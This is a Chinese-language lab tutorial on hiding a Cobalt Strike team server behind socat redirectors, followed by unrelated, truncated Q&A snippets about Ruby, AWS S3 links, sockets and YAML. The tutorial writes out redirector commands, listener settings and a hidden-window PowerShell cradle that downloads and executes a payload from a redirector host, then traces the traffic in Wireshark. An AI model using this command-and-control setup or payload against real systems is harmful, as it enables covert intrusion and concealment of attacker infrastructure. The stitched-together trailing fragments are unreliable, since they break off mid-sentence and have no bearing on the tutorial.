我认为，无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感！！！
（1）重定器简介
“重定器”是一个在“cobalt strike”服务器和目标网络之间的服务器。这个“重定器”的作用是对你团队服务器下的连接进行任意的连接或返回。（注：即通常说的代理服务器或端口转发工具），“重定器”服务（在攻击和防御中）是很重要的角色。
（2）重定器功能
第一 保护team server团队服务器地址，并作为攻击者，它也是一个很好的安全操作。
第二 它给予了热冗余备份能力，假如你的众多重定器中有一两个堵塞了没有大不了的，还可以通过其他的重定器进行通信。
（3）重定器拓扑
| Windows Server 2019 | kali | Ubunt1 | Ubunt2 | Windows Server 2008 |
|---|---|---|---|---|
| 充当DSN服务器 | 充当team server团队服务器 | 充当重定器1（即代理服务器1） | 充当重定器2（即代理服务器2） | 充当靶机 |
工具socat是一款端口重定向工具，我们用它来建立80端口上的连接管理，并且继续在80端口运行那个连接团队服务器的连接。（即监听本地80端口，把向本地80的连接请求转发给teamserver团队服务器的80）
充当重定器的linux系统上的命令：socat TCP4-LISTEN:80,fork TCP4:[team server]:80
（1）网络环境：NAT
（1）dns服务器 windows server2019： 192.168.97.19
（2）team server服务器 kali：192.168.97.129
（3）重定器1 ubuntu14：192.168.97.202
（4）重定器2 ubuntu16：192.168.97.203
（5）靶机 windows server 2008：192.168.97.131
（2）DNS服务器：Windows Server 2019
第一步：新建域名 team.com
添加一个a记录测试是否成功：ceshi.team.com 192.168.97.19
第二步：然后添加以下a记录
Teamserver：192.168.97.129 t.team.com
ubuntu跳板 1：192.168.97.202 r1.team.com
ubuntu跳板2： 192.168.97.203 r2.team.com
（3）team server团队服务器：kali linux
vim /etc/network/interfaces
vim /etc/resolv.conf
（4）重定器1：Ubuntu14.04.5
（5）重定器2：Ubuntu16.04.3
（6）靶机：Windows Server 2008
（1）kali开启teamserver团队服务器：./teamserver 192.168.97.129 123456
//注意：这里要用IP地址，不能使用域名
（2）本地连接teamserver团队服务器：./cobaltstrike
//注意：这里不再新开虚拟机充当攻击者团队成员了，直接使用kali本地连接到teamserver，因为一样都是在团队服务器上操作。
（3）所有ubuntu跳板开启端口转发：socat TCP4-LISTEN:80,fork TCP4:ts.team.com:80
//解释1：TCP4-LISTEN:80是监听本地的80端口
//解释2：fork TCP4:t.team.com:80是把监听到的本地端口的连接重定向到teamserver的80端口
//总结：只要是对跳板机的80请求，都会重定向到teamserver，因此在以后的监听器和攻击载荷配置的时候基本上可以把跳板当作teamserver来配置的时候进行配置。（具体操作在下面）
//如下图所示：
（4）测试重定向是否成功：
第一步：在team server上打开cs 的web日志浏览器
//如下图所示：点击View选项卡，选择Web Log
第二步：在dns服务器的火狐浏览器上访问http://r1.team.com/r1
//如下图所示：此时r1接收到dns服务器发来的80请求，r1通过socat把80请求重定向到team server，因此team server会记录到来自r1的请求。
第三步：在dns服务器的火狐浏览器访问http://r2.team.com/r2
//如下图所示：此时r2接收到dns服务器发来的80请求，r2通过socat会把80请求重定向到team server，因此team server会记录到来自r2的请求。
（5）配置监听器注意事项
注意1：监听器的的第一个host填写team server真实地址
注意2：监听器的的第二个host填写team server所有重定器地址
附：生成攻击载荷的时候host填写任意一个team server的重定器地址（只是为了提供下载），从而隐藏真正的team server地址。
（6）配置监听器
//如下图所示：这里的host填写的是beacon的真实地址，也就是teamserver团队服务器的地址
//如下图所示：其中英文This beacon uses HTTP to check for taskings.Please provide thedomains to use for beaconing.The A record for these domainsmust point to your Cobalt strike system. An lP address is OK.separate each host or domain with a comma.的翻译如下：此信标使用HTTP检查任务。请提供用于信标的域。这些域的A记录必须指向您的Cobalt打击系统。IP地址可以。用逗号分隔每个主机或域。（因此：这里填写的是指向teamserver团队服务器的众多重定器）
（7）生成payload攻击载荷：使用脚本web传递
//如下图所示：生成攻击载荷的时候host填写任意一个team server的重定器地址（只是为了提供下载），从而隐藏真正的team server地址。
//如下图所示：保存下来payload powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
（8）靶机运行payload：powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
//如下图所示：在靶机上运行payload
//如下图所示：在team server的web日志上记录了跳板r2向team server的请求（实际为靶机向r2请求，r2转到了team server）
（9）team server上移除会话，断开r2跳板机的socat端口转发，靶机重新使用一次payload，测试冗余功能
//如下图所示：team server移除连接
//如下图所示：断开r2跳板机的socat端口转发
//如下图所示：靶机再次运行一次payload
//如下图所示：team server上面只记录到了r1和靶机之间的连接（实际上是靶机向r1发起连接，让r1转发到了team server）
（1）在team server服务器打开wireshark，查看流量走向：
//如下图所示：有虚实两种线，是区别两个TCP连接，由于在抓包的过程中，他的包顺序可能会混乱，因此我们分别追踪167的TCP流和174的TCP流，再去加以分析。
//如下所示：追踪167的TCP流，发现是167到185，是靶机和r1之间的连接
//如下图解释1：167到169是靶机和r1之间的TCP三次握手，靶机的49321端口和r1的80端口之间建立了连接；
//如下图解释2：170到173是靶机和r1之间的http连接；
//如下图解释3：183到184是r2和team server之间的TCP三次握手（本该是四次，这里把FIN和ACK合并了），断开TCP连接；
//如下图所示：追踪174的TCP流，发现是174到187，是r1和team server之间的连接
//如下图解释1：174到176是r1跳板和team server之间经过三次握手建立的TCP连接
//如下图解释2：177到179是r1跳板和team server之间的HTTP连接
//如下图解释3：180-181-186-187是r1跳板和team server之间四次挥手，断开TCP连接
（2）移除team server上建立的会话，等待再次连接后，重新查看流量走向，与team server上的命令查看的端口记录对照：
//如下图所示：r1跳板的40314和team server的80端口进行了连接并断开
//如下图所示：在team server上存在记录
（3）把r2跳板的socat端口转发打开，再次查看流量走向：
//如下图所示：发现靶机和r2也有连接
//如下图所示：r2和team server也有连接
（4）为了验证第13条中的结论，也就是r1和r2都和靶机有连接，我们此时把team server上的会话sleep设置为5，也就是每5秒交互一次，此时观察team server的视图，会发现在5秒后r1和r2在替换
我正在编写一个小脚本来定位aws存储桶中的特定文件，并创建一个临时验证的url以发送给同事。(理想情况下，这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针，它似乎不符合这个标准，但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
我想在Ruby中创建一个用于开发目的的极其简单的Web服务器(不，不想使用现成的解决方案)。代码如下:#!/usr/bin/rubyrequire'socket'server=TCPServer.new('127.0.0.1',8080)whileconnection=server.acceptheaders=[]length=0whileline=connection.getsheaders想法是从命令行运行这个脚本，提供另一个脚本，它将在其标准输入上获取请求，并在其标准输出上返回完整的响应。到目前为止一切顺利，但事实证明这真的很脆弱，因为它在第二个请求上中断并出现错误:/usr/b
在Ruby中是否有Gem或安全删除文件的方法？我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix，一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?
网络编程套接字网络编程基础知识理解源`IP`地址和目的`IP`地址理解源MAC地址和目的MAC地址认识端口号理解端口号和进程ID理解源端口号和目的端口号认识`TCP`协议认识`UDP`协议网络字节序socket编程接口`sockaddr``UDP`网络程序服务器端代码逻辑：需要用到的接口服务器端代码`udp`客户端代码逻辑`udp`客户端代码`TCP`网络程序服务器代码逻辑多个版本服务器单进程版本多进程版本多线程版本线程池版本服务器端代码客户端代码逻辑客户端代码TCP协议通讯流程TCP协议的客户端/服务器程序流程三次握手（建立连接）数据传输四次挥手（断开连接）TCP和UDP对比网络编程基础知识
我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗？YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("
我是Ruby的新手。我试过查看在线文档，但没有找到任何有效的方法。我想在以下HTTP请求botget_response()和get()中包含一个用户代理。有人可以指出我正确的方向吗？#PreliminarycheckthatProggitisupcheck=Net::HTTP.get_response(URI.parse(proggit_url))ifcheck.code!="200"puts"ErrorcontactingProggit"returnend#Attempttogetthejsonresponse=Net::HTTP.get(URI.parse(proggit_url)
有人知道如何将capybarapoltergeist的用户代理覆盖到移动用户代理以进行测试吗？我发现了一些有关为seleniumwebdriver配置它的信息:http://blog.plataformatec.com.br/2011/03/configuring-user-agents-with-capybara-selenium-webdriver/这在capybara闹鬼中怎么可能？ 最佳答案 请参阅poltergeistgithub页面上的链接:https://github.com/teampoltergeist/polte
我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe
默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因，我不想将附件存储在公共(public)目录中，所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项，因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置，那么我可以这样做，因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来，如果我将图像附件保存在公共(public)目录之外并且不指定url(同
我希望访问我机器上的所有HTTP流量(我的Windows机器-不是服务器)。据我了解，拥有一个本地代理是所有流量路线的必经之路。我一直在谷歌搜索但未能找到任何资源(关于Ruby)来帮助我。非常感谢任何提示或链接。 最佳答案 WEBrick中有一个HTTP代理(Rubystdlib的一部分)和here's一个实现示例。如果你喜欢生活在边缘，还有em-proxy伊利亚·格里戈里克。这postIlya暗示它似乎确实需要一些调整来解决您的问题。 关于ruby-如何捕获所有HTTP流量(本地代理)